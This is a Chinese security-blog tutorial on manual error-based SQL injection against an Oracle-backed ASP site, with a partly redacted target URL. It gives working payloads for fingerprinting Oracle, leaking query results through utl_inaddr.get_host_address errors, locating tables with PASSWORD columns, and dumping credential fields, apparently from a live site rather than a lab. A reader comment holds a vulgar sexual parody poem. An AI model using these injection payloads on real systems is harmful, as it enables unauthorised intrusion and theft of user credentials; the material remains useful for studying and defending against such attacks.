Oracle爆错手工注入

2012-08-17 979182人围观 ,发现 12 个不明物体 WEB安全数据安全

0×00 目标

目标:http://www.xxx.cc/view.asp?kind=NN4&bbsno=45

0×01 判断数据库类型
oracle 支持– 类型注释,但是不支持;分隔执行多语句,oracle 有很多系统表,譬如user_tables,通过对这些表的访问也可以判断出是否属于oracle,另外在oracle 里的一些函数也可以用来判断,譬如utl_http.request 这些,语言上的小细节也可以用来区分系统,譬如在oracle 里|| 是连接符号,但是在其他数据库里就不是了,所以 and
chr(123)||chr(123)=chr(123)||chr(123)这样的,如果可以顺利执行,那么就基本应该是oracle 了。

我们在链接地址后加上单引号,返回信息

"[Oracle][ODBC][Ora]ORA-01756:단일 인용부를 지정해 주십시오 "

如下图

继续进行判断再此提交:

view.asp?kind=NN4&bbsno=45 and (select count (*) fromuser_tables)>0--
view.asp?kind=NN4&bbsno=45 and (select count (*) from dual)>0—

如下图:

2

基本上可以确定是oracle 数据库了。Asp+oracle 的数据库很少少见啊!

接下来的渗透有两个方向,一个是通过爆错来获取我们所需要的信息,另外一个是通过union 联合查询来获取我们所需要的信息。由于这个注入点无法进行union,所以只有通过报错来获取勒。

0×02 爆错基本信息刺探

函数:utl_inaddr.get_host_address
用法:utl_inaddr.get_host_address(sql Injection)

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有:

1 当前用户权限 (select * from session_roles)
2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)
3 服务器出口IP (用utl_http.request 可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 服务器操作系统 (select member from v$logfile where rownum=1)
6 服务器sid ( 远程连接的话需要, select instance_name fromv$instance;)
7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

…..信息刺探如下图:




获取信息如下:

数据库版本为:Oracle9i Release 9.2.0.8.0 – Production
当前数据库连接用户名为IGM
操作系统平台为windows;
服务器sid 为igm。

0×03 获取表名

Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名,我们就可以通过这些系统表来猜测系统的数据库结构了!

在这里也有个小技巧就是我们可以通过查询系统表来找找敏感字段如password 在哪个表中。首先我们看下含有password 的表有多少个。

语句如下:

select count(*) from user_tab_columns where column_name like '%25PASSWORD%25'

注意其中的%25 是% 的Url 编码, 通过这个语句就可以查询user_tab_columns 系统表,看里面列名与password 相似的记录的条数,注意列名要用大写表示哦!如下图:

总共含有password 字段的表名有6 个,那我们如何知道password 字段所对应的表是哪个勒?以前有个古老的方法就是结合union 查询对应的表名。但是今天的情况特殊,无法进行union 联合查询,就算可以union 联合查询,也只能查询一个表,并且查询第二个表也是用TABLE_NAME<>’表名’来实现的,在表情况非常多的情况下,这总方法
就相形见拙勒。那有没有其他什么快捷的方法了?想想mysql 数据库手工注入中有limit 可以查看数据!那oracle 能否可以?Oracle 没有limit 这样的语句所以可以用where rownum=1 来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2 是不行的,这里可以再次嵌套一个子查询语句如下:

select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like '%PASSWORD%') where limit =2

这样就可以得到第二条记录了,灵活运用可以很快取得需要的数据
效果如下图:

刚才我们前面已经查询到总共有6 个表含有password 字段那我们就结合神器burp 来获取下我们所需要的数据,至于burp 如何获取数据,请参考我的上篇文章。数据结果如图所示:

不知道什么原因获取到的数据有误差只出现了4 个表,换其他的表也少几个


0×04 获取列名

现在我们来看看表所对应的列名语句如下:

select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name=chr(70)||chr(71)||chr(87)||chr(49)||chr(48)||chr(49)||chr(84)) whEre limit =1

手工进行测试第一个如下图所示:

成功报出第一个列名,后续的手工我们就用burp,爆出所有的列名,
过程如下图所示:



0×05 获取内容

现在知道所有的列了,那修改语句进行爆数据咯。。语句如下:

Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||id||chr(35)||PASSWORD||chr(35)||NAME||chr(35)||IN_DATE||chr(35)||UP_DATE as data from FGW101T

教程完毕,渗透就到这里吧。

这些评论亮了

  • shinwood 回复
    《心雨》撸版
    清风湿粘 是包裹管子的网
    岩岩湿舔 永远是润滑的油
    每一次总在 寂寞撸管的日子
    深深地中出了你
    你的芯是女优的芯
    沥沥下着芯雨
    撸你撸你撸你撸你
    每天一次撸你
    因为柳岩你已成为屌丝的芯娘
    让我每天一次撸你
    )42( 亮了
发表评论

已有 12 条评论

取消
Loading...
css.php